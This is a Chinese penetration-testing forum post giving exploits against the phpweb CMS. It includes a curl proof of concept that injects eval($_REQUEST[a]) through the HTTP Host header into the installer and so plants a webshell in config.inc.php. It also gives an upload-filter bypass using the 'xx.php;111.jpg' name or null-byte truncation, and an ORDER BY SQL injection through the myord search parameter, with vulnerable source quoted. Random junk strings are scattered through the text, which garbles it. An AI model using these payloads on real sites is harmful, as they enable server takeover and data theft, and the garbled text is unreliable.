中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
$ @4 ?' U( {$ O2 m2 }
& Q8 `5 f: c, n3 x' h之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
5 c2 M9 ?' L7 d0 o
4 |/ [7 ~  f3 _+ W8 J鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件2 u+ l2 n* p- Z/ r& S
鸡肋2: 有一定安全常识的站长都会删掉 install 目录4 H# z8 }; W4 f* v" g

, G- e: w1 L1 b$ o. l虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
' l( X, A/ Q" T2 z" c( G/ C" [ % k: f, W. Q) ?+ U
分析:
2 h  f4 G" e( x 1 d/ O# K  t8 B' B1 g" `4 y" f/ O

) r1 B+ Z1 S9 y( b. V$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤. G7 R% s; t; X: o# E% T1 z

! g/ ]1 n; z3 [$ G6 Z                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 I  K/ X- B' Q4 ~$ j5 V                                            $filestr=str_replace(" ","",$filestr);( N& Y; @* j% X" q2 z; e1 L
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);+ L  P7 c  {6 I( J
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);; _+ A2 v$ s5 L, t3 ~8 g' ]! U+ ?
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
# q# j6 g3 f: V; ?( S                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);3 x) l! t1 q* B0 K
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);6 ~  N7 G8 f+ p7 Q/ U% s: b
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);, j* d, o0 G* ]5 |4 H
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( X( W) }/ C, }  V: V4 p0 G; S: d
5 x) @: `" ?" ~1 \0 g3 n                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
' ^. r9 ~- P7 E- I+ H6 Y* y+ L$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 l2 R8 |9 w6 K+ u2 I9 L 9 W! o  r) i& y4 \0 U
poc:$ }; R( {9 `$ U+ Z, [2 c. N

2 t" P- \- J9 S/ g3 R. u+ y?
) J* x/ M* p, G+ M$ g6 |1
/ [( O, T: ~/ t: Q- `% ccurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
2 h8 L) p; e2 Cshell地址: /config.inc.php
2 g3 E% P9 J/ I4 A) i  z) k! f跟之前的 phpcms一样 需要远程数据库) [+ x2 u7 S) ?: a

# {6 Y) N- H, i: Q——————————————————–) N0 v  s  E1 L
上传漏洞(需要进后台):
) |- Q7 ?- z8 a5 F- q漏洞文件: /kedit/upload_cgi/upload.php
7 s- u! i0 p# f3 j( a6 T这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
0 ?- J% l' v( e! e4 E1 \4 d
) x4 [9 l( s3 U- N8 Y & L7 Y# Y4 D( s# P" B3 [
<?php
/ Q. U0 L7 D3 G: _, Y3 Y" L5 ?    define("ROOTPATH", "../../");  W. j* m% m* P' R: p
    include(ROOTPATH."includes/admin.inc.php");) }; Q5 _" O8 N5 B
    NeedAuth(0);
' a+ d: Q9 Y7 u+ |3 T% ?! m) M6 j
7 M1 U/ G5 o5 C7 C    $dt=date("Ymd",time());$ P) e. ?3 V0 D7 W4 k3 K
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
, ~: G  c& L( a) [" _            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
# J8 w* O3 b& O    }
& p+ B9 N9 p/ Y1 u
6 J5 p  x. }2 b& Z    //文件保存目录路径% g- o* G# a7 `5 s/ L+ v5 u
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
; C6 M7 A4 B0 m6 V0 G    echo $save_path;4 u' A1 V+ e( q3 B" L# d+ ]
    //文件保存目录URL
+ C; D1 i# A0 a5 q/ [* U5 n8 U& Q    $save_url = '../../'.$_POST['attachPath'].$dt.'/';1 W) k9 C. A8 {( e0 L0 F
' K: S+ ?7 S" N- O' I
    //定义允许上传的文件扩展名" ?/ |/ L$ U0 A! V8 c1 a& w
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀, L% _( O6 e+ j) `, P5 y8 c; J3 [0 G' `

9 t% d# P4 N7 I    //最大文件大小$ b/ t, n2 x( W+ |# ]* L
    $max_size = 1000000;
- a* j  r( W5 z! Y% x% L$ Z 5 W. `! e! T9 p* {
    //更改目录权限
6 `; i- b' n3 a6 t    @mkdir($save_path, 0777);
! s; X, D6 x( F5 t) ]+ M 8 b0 I  L/ K8 U% Y# b& G
    //文件的全部路径' M$ T' p& u  h# {2 d, ?" t3 l& m
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
8 K' [4 ]) q+ e9 }" m1 a 7 p3 f# |6 [4 t: O. I
    //文件URL: D# x2 l' a1 j# m
    $file_url = $save_url.$_POST['fileName'];
" \: a4 g, ^, _) E4 o3 _" i//有上传文件时7 j% y7 t; L2 x5 X+ M
    if (empty($_FILES) === false) {' J* Y$ D: S0 C/ Z0 ?6 k
: }# J) p4 [( `$ X) u& `
            //原文件名% P$ Y# U$ T! r" [+ B
            $file_name = $_FILES['fileData']['name'];
4 ]' r- `: B6 Z' C+ b            //服务器上临时文件名
+ l5 B" L0 H/ B! n# E9 Y, g            $tmp_name = $_FILES['fileData']['tmp_name'];
. M0 ^  V- j* z- G            //文件大小  g+ s1 i4 r. \5 O5 E' T
            $file_size = $_FILES['fileData']['size'];( Y' J6 @+ t$ y2 K
            //检查目录
% k+ Q; ]  J1 j- {1 w7 P            if (@is_dir($save_path) === false) {
9 B+ U3 {! o8 J) {                    alert("上传目录不存在。");
" j' V6 J. R* t" b; p            }, e3 Y6 Z% t/ N
            //检查目录写权限* e4 X% c2 v4 g/ W0 W1 d% S
            if (@is_writable($save_path) === false) {  |4 j" Q3 a# m; }1 [
                    alert("上传目录没有写权限。");
: L( J0 b& a6 h+ S1 O            }* i) L- t" b) x: N! f7 I
            //检查是否已上传% v1 j9 u6 i  I2 J
            if (@is_uploaded_file($tmp_name) === false) {& `5 {5 @/ N( ?6 @( w9 V9 y  [
                    alert("临时文件可能不是上传文件。");: y( y5 z0 \5 s1 Z
            }
" j  i$ A+ ?$ O/ D6 V& c* R/ E            //检查文件大小
* ~6 ?6 n6 ]; V5 ~6 u/ A2 W3 X. Z$ Y            if ($file_size > $max_size) {# N+ z/ U& E6 u. ]' v( Y2 F6 F0 w9 k
                    alert("上传文件大小超过限制。");- W, C3 R! G( Z+ d" f
            }
' q  k! j3 `6 ?" N: U  n3 w7 Y, a            //获得文件扩展名
. A# G4 i0 {: K& p( x$ n            $temp_arr = explode(".", $_POST['fileName']);+ [& A5 k2 i) H8 g, K9 a
            $file_ext = array_pop($temp_arr);4 }/ O9 S4 q* ^# [/ [
            $file_ext = trim($file_ext);
, P; ~; u' f0 Y; {            $file_ext = strtolower($file_ext);- l7 @5 ]9 C% j/ n

9 a9 T! H; |# K            //检查扩展名   
+ }  K9 m4 M# q; _% @            if (in_array($file_ext, $ext_arr) === false) {     
* W" p7 H( i! P3 M6 ?                    alert("上传文件扩展名是不允许的扩展名。");
$ ~, J! r+ |% z* |            }2 X  w% l1 Q! _0 S
" y9 t9 k3 e& c
            //移动文件   / P. U2 H; L! d$ k+ U
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^( m/ |5 v: @- l: x' _7 c/ q1 V
            if (move_uploaded_file($tmp_name, $file_path) === false) {: p& d" f& H2 U0 r2 X7 T- I
                    alert("上传文件失败。");/ N& |# [8 N# a/ r# A
            }
) b0 O; x' U: C ; Z: J# u  e* F& M0 |4 Q' a3 x; B
            @chmod($file_path,0666);9 h& O& R1 _$ Y1 g  p9 D$ H) [

4 N; ?) C; B7 A, {# h! b7 p. \% Z    ?>
/ v( ^/ z( U; Z+ ?0 w: p抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
$ m; k( W) U4 Q) K' R+ E
0 W% ~: x# l# W4 _4 w7 j2 tapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过7 u0 j9 r% z! n5 a; y3 n6 U& D( l: }6 e. G
3 @+ Y, F! E6 w; N
——————————————————/ e- g# ~& w3 ~6 C8 `" I) O7 W
注入漏洞:5 j* I: Y. [4 }, K( d, w
漏洞文件:search/module/search.php. x: A0 g5 {% v6 r+ s
/search/index.php?key=1&myord=1 [sqlinjection]
5 D  g5 B1 ^7 X6 @* m6 Y 1 i* t5 q' G5 @& u5 Q  F! S1 j1 I

5 f8 _3 G7 Q5 g+ o$ s% W<?php
& A" `7 X! O& h% a- x- b   //       ... 省略 n 行...
6 N2 u& I9 q8 h, z   //第18行:  E& q, r" E0 n; r* k
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
* t# e/ G+ J# A: D% k           $page=htmlspecialchars($_GET["page"]);
7 T5 A" y- c! x, M           $myord=htmlspecialchars($_GET["myord"]);- A& Z0 _! ?9 N+ _
9 Y" @( }; e; P
   //       ... 省略 n 行...' T% t& F& E' `. T; p
   $key,$myord 两个参数带入查询
. ^. l; H. F  e+ v4 n   //第47行 $key:& S9 i& ^3 ~  Z$ ]0 B5 M4 S2 a0 A' W9 U
9 i9 }2 L% `$ r! K2 v
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..7 J+ Q: _) q8 \; M
; p- h! \7 K' L, @5 t( ^
   //第197行 $myord6 q2 r8 C" H7 [
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
9 P( q5 m  u+ s! \
2 R/ y" W6 U5 B: o  ~4 ?! \2 }   ?>9 b( Q* K, D3 N9 c





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2